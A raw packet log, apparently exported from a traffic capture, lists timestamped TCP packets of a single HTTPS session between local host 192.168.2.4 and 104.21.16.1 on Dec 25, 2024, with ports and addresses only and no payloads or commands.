Dec 25, 2024 15:09:11.344153881 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.344218969 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.344943047 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.345005989 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.345766068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.345825911 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.347428083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.347480059 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.348287106 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.348335028 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.349885941 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.349948883 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.351495981 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.351552010 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.422899008 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.423002005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.424071074 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.424139023 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.425713062 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.425776005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.427306890 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.427373886 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.470737934 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.470805883 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.509735107 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.509816885 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.510900021 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.510972023 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.512242079 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.512306929 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.512350082 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.512399912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.513941050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.514003992 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.515561104 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.515628099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.517079115 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.517143965 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.522789955 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.522836924 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.522878885 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.522891998 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.522918940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.522938967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.527523041 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.527566910 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.527612925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.527621984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.527679920 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.529022932 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.529079914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.529088974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.529866934 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.529918909 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.529927015 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.529977083 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.530740976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.530802011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.531578064 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.531632900 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.533046961 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.533111095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.535031080 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.535087109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.537487984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.537556887 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.538531065 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.538585901 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.539952040 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.540007114 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.543061972 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.543123960 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.543132067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.543168068 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.615565062 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.615648031 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.617199898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.617281914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.618150949 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.618221045 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.618947029 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.619014025 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.664772987 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.665132999 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.666559935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.666702032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.702460051 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.702543974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.704194069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.704327106 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.705972910 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.706267118 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.708112955 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.709050894 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.709691048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.709765911 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.710578918 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.711170912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.711513996 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.711626053 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.713058949 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.713165998 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.714631081 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.715126991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.715346098 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.715547085 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.717039108 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.717149973 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.718533993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.718770027 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.719300985 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.719554901 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.720124006 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.720254898 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.721019030 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.721194029 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.723326921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.723428011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.725068092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.725655079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.727025032 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.727121115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.728652000 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.728796005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.730202913 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.731018066 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.731412888 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.731430054 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.732539892 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.733438969 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.733967066 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.733978987 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.734235048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.734265089 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.734272003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.735028982 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.735059023 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.735070944 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.736512899 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.807177067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.807497025 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.808398962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.809201956 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.810688019 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.811888933 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.856630087 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.856952906 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.858403921 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.859558105 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.894776106 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.895420074 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.896140099 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.896358967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.897835970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.897931099 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.898737907 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.898804903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.900844097 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.901067972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.903774023 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.903872967 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.903893948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.904119015 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.906158924 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.906308889 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.907845020 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.908149958 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.910244942 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.910376072 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.912621021 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.912694931 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.913379908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.914762974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.915139914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.915209055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.917359114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.917443037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.920177937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.920365095 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.920381069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.920517921 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.921855927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.921991110 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.923346996 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.923463106 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.924254894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.924339056 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.999450922 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.999500990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.999557972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.999592066 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.999622107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.039880037 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.049065113 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.049083948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.050292015 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.050326109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.050334930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.050364017 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.050560951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.087737083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.087830067 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.090167046 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.091253996 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.092606068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.092736006 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.093465090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.093540907 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.095029116 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.095148087 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.095726013 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.096318007 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.097268105 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.097340107 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.102133989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.102171898 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.102236986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.102236986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.102262974 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.102370977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.104592085 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.105010986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.105027914 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.107718945 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.107837915 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.107853889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.109268904 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.109440088 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.109455109 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.110205889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.110426903 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.110441923 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.110522032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.116763115 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.116991043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.117026091 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.117042065 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.117805958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.117840052 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.117856026 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.117913961 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.119498968 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.119570017 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.121072054 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.121321917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.122682095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.122824907 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.123547077 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.123826027 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.191729069 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.192102909 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.192604065 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.192707062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.194232941 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.194463968 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.241446018 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.241580963 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.241594076 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.241898060 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.278928995 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.279063940 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.279397011 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.279490948 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.280165911 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.280250072 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.281634092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.281749010 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.281774044 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.281853914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.284115076 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.284212112 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.285867929 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.285957098 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.286916018 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.287005901 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.289812088 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.290000916 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.290026903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.294588089 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.294610977 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.294642925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.294658899 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.294686079 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.300241947 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.300263882 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.300304890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.300321102 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.300345898 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.309200048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.309220076 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.309300900 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.309300900 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.309319019 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.309441090 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.309489012 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.309545994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.311099052 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.311218977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.314296007 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.314435005 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.314449072 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.314522982 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.383773088 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.383872986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.383899927 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.430521011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.433537960 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.433562040 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.433665991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.433665991 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.433681011 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.433882952 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.434350014 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.434469938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.472290993 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.472419977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.472435951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.475630999 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.475670099 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.475776911 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.475794077 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.475900888 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.478616953 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.479289055 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.479302883 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.481412888 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.481528044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.481544018 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.483112097 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.483186960 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.483196020 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.485130072 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.485920906 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.485937119 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.486040115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.487526894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.487647057 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:12.487653971 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.490788937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:12.490828991 CET	443	49734	104.21.16.1	192.168.2.4
